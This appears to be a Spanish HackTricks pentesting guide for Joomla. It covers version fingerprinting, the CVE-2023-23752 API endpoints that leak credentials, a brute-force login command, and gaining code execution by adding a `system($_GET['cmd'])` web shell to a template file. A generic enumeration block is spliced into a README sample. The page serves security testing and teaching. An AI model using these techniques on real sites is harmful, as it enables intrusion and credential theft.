hacktricks/network-services-pentesting/pentesting-web/joomla.md

132 lines
6.3 KiB
Markdown

# Joomla
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
### Estadísticas de Joomla
Joomla recopila algunas [estadísticas de uso](https://developer.joomla.org/about/stats.html) anónimas, como el desglose de las versiones de Joomla, PHP y bases de datos, y los sistemas operativos de servidor utilizados en las instalaciones de Joomla. Estos datos se pueden consultar a través de su [API](https://developer.joomla.org/about/stats/api.html) pública.
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
```
## Enumeración
### Descubrimiento/Rastreo
* Verificar la **meta**
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
```
* robots.txt
```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
```
* README.txt
## Joomla
### Joomla Enumeration
Joomla es un sistema de gestión de contenido popular que a menudo se encuentra en servidores web. Para enumerar información sobre un sitio Joomla, se pueden seguir los siguientes pasos:
1. **Identificar el sitio Joomla**: Buscar pistas en la URL, como `/administrator` o `/components`.
2. **Utilizar herramientas de enumeración**: Herramientas como Joomscan pueden ayudar a identificar la versión de Joomla y posibles vulnerabilidades.
3. **Enumerar usuarios**: Buscar usuarios registrados en el sitio Joomla.
4. **Enumerar extensiones**: Identificar las extensiones instaladas en el sitio, ya que pueden ser puntos de entrada para ataques.
### Joomla Exploitation
Una vez que se ha enumerado la información sobre un sitio Joomla, se pueden buscar formas de explotar posibles vulnerabilidades. Algunas técnicas comunes incluyen:
1. **Explotar vulnerabilidades conocidas**: Utilizar exploits conocidos para la versión de Joomla específica.
2. **Ataques de fuerza bruta**: Intentar credenciales débiles o predeterminadas para acceder al panel de administración.
3. **Cross-Site Scripting (XSS)**: Buscar formas de inyectar scripts maliciosos en el sitio Joomla.
4. **SQL Injection**: Intentar inyectar código SQL para manipular la base de datos del sitio.
Al realizar pruebas de penetración en un sitio Joomla, es importante obtener autorización explícita del propietario del sitio para evitar consecuencias legales.
```
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### Versión
* En **/administrator/manifests/files/joomla.xml** puedes ver la versión.
* En **/language/en-GB/en-GB.xml** puedes obtener la versión de Joomla.
* En **plugins/system/cache/cache.xml** puedes ver una versión aproximada.
```bash
droopescan scan joomla --url http://joomla-site.local/
```
En[ **80,443 - Metodología de Pentesting Web es una sección sobre escáneres de CMS**](./#cms-scanners) que pueden escanear Joomla.
### Divulgación de Información no Autenticada de la API:
Las versiones de 4.0.0 a 4.2.7 son vulnerables a la divulgación de información no autenticada (CVE-2023-23752) que volcará credenciales y otra información.
* Usuarios: `http://<host>/api/v1/users?public=true`
* Archivo de Configuración: `http://<host>/api/index.php/v1/config/application?public=true`
**Módulo MSF**: `scanner/http/joomla_api_improper_access_checks` o script ruby: [51334](https://www.exploit-db.com/exploits/51334)
### Fuerza Bruta
Puedes usar este [script](https://github.com/ajnik/joomla-bruteforce) para intentar realizar un ataque de fuerza bruta al inicio de sesión.
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
```
## RCE
Si lograste obtener las **credenciales de administrador** puedes **RCE dentro de ella** agregando un fragmento de **código PHP** para obtener **RCE**. Podemos hacer esto **personalizando** una **plantilla**.
1. Haz **clic** en **`Templates`** en la parte inferior izquierda bajo `Configuration` para abrir el menú de plantillas.
2. Haz **clic** en un nombre de **plantilla**. Vamos a elegir **`protostar`** bajo el encabezado de columna `Template`. Esto nos llevará a la página **`Templates: Customise`**.
3. Finalmente, puedes hacer clic en una página para ver el **código fuente**. Vamos a elegir la página **`error.php`**. Agregaremos un **comando PHP en una línea para ejecutar código** de la siguiente manera:
1. **`system($_GET['cmd']);`**
4. **Guardar y cerrar**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`